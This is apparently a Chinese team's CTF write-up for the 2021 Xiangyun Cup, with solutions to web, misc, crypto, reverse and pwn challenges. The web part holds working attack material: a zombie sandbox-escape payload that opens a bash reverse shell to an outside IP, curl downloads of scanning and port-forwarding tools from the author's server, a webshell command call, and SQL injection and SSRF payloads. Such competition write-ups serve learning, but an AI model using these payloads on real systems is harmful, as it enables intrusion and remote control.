2021第二届祥云杯WP
2021第二届祥云杯WP
n03tAck战队成员为各个大学的学生,部分战队成员不可能只以n03tAck身份参赛,所以成员作为自身学校的正常组队行为与n03tAck无任何关系,此WP由赛后各个成员汇集而成。
Web
ezyii
考点:yii反序列化链子
相关利用的类都发出来了,感觉不像CMS的审计,更像是POP链的构造。
|
flag{bc862289-85e9-48d8-9dd5-fc27162566ff}
安全检测
考点:SSRF、session条件竞争
随意用户名都可以登陆,接着是SSRF的内容,通过访问http://127.0.0.1/admin/
,获得include123.php
文件
接着访问http://127.0.0.1/admin/include123.php
,获取源码
根据过滤了内容, 可以知道是session条件竞争
import io |
接着去访问http://127.0.0.1/admin/include123.php?u=/tmp/sess_Atao
,访问到回显了phpinfo
即可
这里写入/tmp/1
一句话木马,接着访问http://127.0.0.1/admin/include123.php?u=/tmp/1&1=c3lzdGVtKCIvZ2V0ZmxhZy5zaCIpOw==
即可获得flag
crawler_z
考点:zombie的Nday漏洞、变量覆盖
从图一可知,personalBucket
要和bucket
的变量相同,图二中,personalBucket
又会赋给user.bucket
。所以这里我们可以发三次请求,第一次:正常请求主要是为了获得token
值;第二次:上传exp的IP地址为了修改personalBucket
内容;第三次:通过/user/verify?token=
覆盖user.bucket
这里还有一个需要绕过的地方,在IP的结尾要跟上oss-cn-beijing.ichunqiu.com
,如http://IP/index.html?aaa=oss-cn-beijing.ichunqiu.com
即可。
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/47.98.147.229/7777 0>&1'],);console.log(ls.output.toString());")()</script> |
把上面的代码放在vps的index.html,zombie Nday漏洞参考链接:https://ha.cker.in/index.php/Article/13563
最后通过/user/bucket
路由反弹shell,执行/readflag命令
PackageManager2021
考点:SQL注入
通过审计源码,发现此处存在SQL注入的漏洞,可以通过构造00f355689f5b7cb21e2a34346d9c55cd"||(this.username=="admin"&&this.password[i]=="j")||this.username=="123
的Payload进行注入,获得admin用户的密码
上图可知,存在Bool盲注,这里最后的this.username为我们一开始注册的账户
import requests |
从上图可知admin的password,登陆了admin用户就可以获得flag了,flag为flag{407bb420-7845-4722-a322-f3f11b5bf09f}
层层穿透
考点:Apache Flink 任意 Jar 包上传导致远程代码执行漏洞+fastjson反序列化
首先是:Apache Flink 任意 Jar 包上传导致远程代码执行漏洞
有现成的脚本:https://github.com/LandGrey/flink-unauth-rce
但是一直无法连接shell,可能是连接的人太多了,于是就改了一下脚本,直接在vps一直监听着,然后脚本一直跑着,等着环境重启,终于连接上了,然后并没有找到flag,再加上题目说了内网地址,所以怀疑还有内网环境,于是下载fscan( https://github.com/shadow1ng/fscan )扫描了一波,发现存在内网环境
进入tmp目录,使用curl下载fscan,我放到我自己的vps上
curl http://81.70.105.149/fscan_amd64 >> fscan_amd64 |
然后赋予权限
chmod 777 fscan_amd64 |
然后进行扫描
./fscan_amd64 -h 10.10.1.1/24 |
扫描结果
发现内网 10.10.1.11 存在Shiro SprintBoot
于是就想着转发出来比较方便,继续下载了portmap( http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip ),我也是现将文件放至自己的vps然后使用curl下载
curl http://81.70.105.149/portmap >> portmap |
然后也是赋予权限
chmod 777 portmap |
然后在vps上运行,就是将5567端口的数据转发至8005端口
./portmap -m 2 -p1 5567 -p2 8005 |
然后再在靶机上运行,将内网环境转发出来
./portmap -m 3 -h1 81.70.105.149 -p1 5567 -h2 10.10.1.11 -p2 8080 |
运行结果
vps
靶机
然后就可以在公网访问了
题目提供了源码,下载下来,使用jd-gui反编译查看一下
账号密码为 admin / 123456
还发现了fastjson,但是有waf,需要绕过
然后再lib里发现了 hibernate-c3p0-5.3.14.Final.jar
在githun上面找到了绕过方式,c3p0反序列化(https://github.com/depycode/fastjson-c3p0)
readme里面有说明
要想反序列化需要想登陆获取cookie,所以先登录
获取到cookie后bp抓包,修改数据包,直接将利用链复制粘贴,然后直接粘贴的话就会回显太短
因为对传入的长度进行了判断
所以直接就再填充2w的数据即可,最后的payload如下:
POST /admin/test HTTP/1.1 |
成功获取flag
Secrets_Of_Admin
考点:SSRF
观察数据库可发现flag文件在superuser账号中,而此账号被禁用了,admin的密码在附件中可得到,登录后利用ssrf将superuser账号的flag文件添加到admin账号下,对content
的限制可以利用数组进行bypass
content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=be5a14a8e504a66979f6938338b0662c";</script> |
再读取即可
/api/files/be5a14a8e504a66979f6938338b0662c |
MISC
层层取证
层层套娃取证(确信)
给了一个内存和一个虚拟磁盘的取证,先看磁盘,取证大师打开提示存在bitlocker加密
用Passware Kit Forensic 2021 v1 (64-bit)能直接梭出来bitlocker的秘钥
方法是把001解压出来,然后把2.ntfs放进去,再选择有内存镜像,导入这道题的内存镜像,然后等待……
当然之后也发现内存中也可以找到,但是已经不重要
得到549714-116633-006446-278597-176000-708532-618101-131406
解开发现E盘存在一个流量包
在udp里面找到一个rar,里面包含了一个flag.docx
然后导出,说压缩包密码是开机密码,然后去看俺的另一篇博客
这里提取的是92EFA7F9F2740956D51157F46521F941
密码xiaoming_handsome,cmd5解一下就行了(不会有人没开会员吧)
解压之后发现docx还有密码
实在找不到了的时候,挂载一下,发现hint
然后去仿真。。。。。。嗯仿真不出来
照着https://www.freesion.com/article/51701409948/#DDE01_8 都不行
然后就去导出内存,还是看👴的博客
找到然后密码
可以自己去操作放大看,偏移294435180,宽510
结合用户名,得到xiaoming1314,解压成功
得到flag
flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}
鸣雏恋
改zip解压,在_rels下发现key和love,key是妥妥的零宽
解压之后是两张图,其实这里可以不用解压直接读CRC,可惜写的脚本有问题,还是解压了
然后写个脚本,2进制的ASCII
from PIL import Image |
得到base64的png图,图片最下面就是flag
flag{57dd74fb21bb1aee50f19421bf836f23}
考古
最后的xor我是真的服气这一来怎么直接想得到太浪费时间了
先imageinfo,发现是XP,然后pslist列出表,发现cmd正在运行,cmdscan看一下cmd
然后Filescan |grep “Oneclickcleanup.exe”,然后dumpfiles -Q 0x00000000017bcbc0 -D ./
一共是得到一个dat和一个iso,dat直接拖IDA32
发现是两个异或,第一个异或是存放地址,第二个异或是异或的数据
key是this_a_key,data就是数据,把data导出,写个脚本
s = 'this_a_key' |
得到的ffff.dot用notepad++打开,将16进制转ascii
为什么要保存为.dot,因为我在复现我知道是dot我乐意
然后WPS打开发现提示版本过低,用office打开
然后就瞎试,比如看16进制,从200h-1800h和1800h到最后是一样的,两者相比较什么的,都试过了,没出继续看内存文件。
最后。。。想着可打印ascii的词频和异或,结果异或出了
因为长度只有31位,爆破一下0-f,竟然不对,然后想着一共出现了两次,再去试试,还是不对。麻了
因为是dot文档,又想着zip解压直接看源文件,然后再来异或
???我可去你的吧居然还有一段
最终得到flag
flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}
麻了
ChieftainsSecret
首先给了一个文档和一张图片,文档就是题目描述,图片的话是一个古时候的电话
搜了一下是怎么用的
https://haokan.baidu.com/v?pd=wisenatural&vid=15222023905414500076
Jpg图片后面还有rar,foremost提取出来,发现是一堆TLE5501生成的数据,搜了一下他是一个角度的传感器,给了sinP,cosP,sinN,cosN
本着不会做就乱试+搜公式的原则,发现想要计算出角度,就得找到tan,于是萌生了sinP/cosP,sinN/cosN,(sinP-sinN)/(cosP-cosN)的想法,想知道角度,就再加上一个ATAN函数,除出来是弧度,就再乘以一个57.3°
顺便看了油管的视频,研究了一下四个值的变换
https://www.youtube.com/watch?v=y68IdqZs4PM
最后在看第三个想法的时候恍然大悟,搞出来也正好是11个峰
上图的意思就是ATAN((sinP-sinN)/(cosP-cosN))*57.3,然后因为ATAN的范围是-90°~90°,所以才会出现到90°的时候马上反转成负的,然后负的又接着变为正的,总之,第一个90°之后,后面的值要加180.第2个90°之后,后面加270,妈的简直找惨了。
得到的数字大概为210 210 280 230 160 260 190 90 140 160 210
然后去下载一个量角器(PicPickPortable),发现2正好是90°,所以我直接就排除1了,然后一个个去量,下图举个例
对应7,然后其他的也依次如图
得到77085962457
所以flag为flag{77085962457}
Crypto
myrsa
from Crypto.Util.number import getPrime,bytes_to_long as b2l |
刚开始这题也太慢了吧,首先是个$pow$验证,然后产生密钥给了$n,e$,给了两个选项可以选择明文加密,或者直接得到$flag$的密文,跟进加密函数$C=m^e(x+y)+(z_1+z_2)$,而$x+y$可以化简得到$x+y={(p+q)}^3-{(p+q)}^2+(p+q)+4n$,可以认为$-{(p+q)}^2+(p+q)+4n$很小,比如说传$m=1$,得到${(p+q)}^3-{(p+q)}^2+(p+q)+4n+(z_1+z_2)=C$,此时直接对$C$开三次方可以得到$(p+q)$的一个大概值,本地测试的话相差也就几千上万,爆破即可,但是需要找个验证点,可以联立$p+q=l,p*q=n$解方程,如果方程存在解则对应$p+q$成立,也可以通过构造${(p-q)}^2={(p+q)}^2-4n$,当${(p+q)}^2-4n$可以完全开方时成立。得到$p+q$后,求${(p+q)}^3-{(p+q)}^2+(p+q)+4n$,显然这个远远大于$z_1+z_2$,所以$m^e=C//(x+y)$,再$rsa$解密,综上$exp$如下:
from hashlib import * |
guess
from Crypto.Util.number import ( |
首先看求$key$的部分,$key$是一个$20*4$的小矩阵$A$,乘上一个随机产生的$4*12$的大矩阵$B$得到$hint$,这里矩阵大小指的是数字大小,$key$给了第一个行向量,$AB=H$,可以写成$B^TA^T=H^T$,$H^T$中每个行向量都是$A^T$中行向量的线性组合,也就是说$H^T$中每一个行向量都在$A^T$所所组成的格子中,只需要对$H^T$进行格基规约,就能找到$A^T$的行向量。使用$LLL,BKZ$算法,需要对其参数$delta$修改,求到四个行向量根据已知条件排列再矩阵倒置一下。
求到$key$之后进入正题,首先也是个$pow$验证,可以发现加密算法是$paillier$,
- $step1$生成密钥给出$n,g$
- $step2$,传入密文返回对应明文,但是没有密文可传也没必要,所以这步应该没啥用的。
- $step3$,传入两个明文$p_1,p_2$,产生随机下标$R$,$R$是偶数,分别加密$p_1p_2k_R$和$p_1p_2k_{R+1}$,再随机返回一个密文。
- $step4$,传入一个密文,但不能是$step3$得到的,然后返回明文。
- $step5$,推断$step3$返回的明文对应的是哪个明文。
所以直接到$step3$,随便传两个明文,但需要比特数相同且不小于$2$得到密文,然后$step4$,这里需要用到$paillier$的一个性质$D(c_1*c_2)=m_1+m_2$,也有$D(c^k)=km$,所以只需要传密文的$n$次方,就可以得到明文的$n$倍,就可以得到$key$值,判断$key$值的下标是是偶数还是奇数就行。
from hashlib import * |
random rsa
from Crypto.Util.number import * |
算是放了一个签到题,$seed$啥都给了,照着种子还原$rands$再异或还原$d_p$就行,最终已知$d_p,n,e,c$解密,梭就完了,需要注意的是$py2,py3$的$random$不太相同,这里必须使用$py2$。
#py2 |
share secret
#! /usr/bin/env python |
from libnum import n2s, s2n |
Reverse
Rev_Dizzy
一串简单的数学计算,首先是IDA F5,挺慢的,多等等,如果提示要逆的太大了,就自己百度一下,改一下
给了运算、给了最后比较的值,逆一下就行了,将所有复制出来,只留下运算的部分,然后写个脚本
s = [0x27, 0x3C, 0xE3, 0xFC ,46 ,65 ,7 ,94 ,98 ,-49 ,-24 ,-14 ,-110 ,128 ,-30 ,54 ,-76 ,-78 ,103 ,119 ,15 ,-10 ,13 ,-74 ,-19 ,28 ,101 ,-118 ,7 ,83 ,-90 ,102] |
flag{Try_R3vers1ng_W1th_ScR!pt!}
勒索病毒
用生成文件的修改时间为时间戳。
查阅官方文档发现,0x800c是sha256,加密方式为0x660E,此为iv为零向量。
import hashlib |
PWN
队友真强,完全被带飞,做了俩pwn,还有俩pwn卡到一个点上,摸啦|
pwn👴👴带我飞,才发现我好菜
note
思路:自己构建格式化字符串漏洞,这里泄露打IO_STDOUT,然后再打realloc_hook为onegadget,需要抬栈,卡在抬栈这个地方啦,然后直接rce
exp:
#coding:utf-8 |
JigSaw’sCage
额哈,前面有长整型溢出,这个题是写shellcode的一道题,test有执行权限,难点就是只能写入0x10大小的内容,shellcode不可能只有0x10,难点考验shellcode,分chunk写入,然后再test一下即可
exp:
from pwn import * |
PassWordBox_FreeVersion
额哈,这道题,卡在了加密这东西的地方,后来发现可以泄露固定值,然后再进行异或就可以得到明文,想要写入明文,二次异或即可,有off-by-one,可以造overlap,直接打freehook为onegdaget即可,(这道题是赛后出来的)
exp:
#coding:utf8 |
总结:队友带我飞,lemmon那道题也不难,是SROP ,doublfree 劫持tc。修改fd指向unsortedbin切割下来的chunk,可以劫持freehook为setcontet,然后srop,出来flag,我没做,思路是这
2021第二届祥云杯WP
1.2022第二届网刃杯WP
2.2021NCTF比赛WP
3.2021安询杯wp
4.2021陇原战疫WP
5.2021bytectf线上WP
6.2021绿城杯wp
7.2021第一届长城杯网络安全大赛WP
8.2021第五空间大赛WP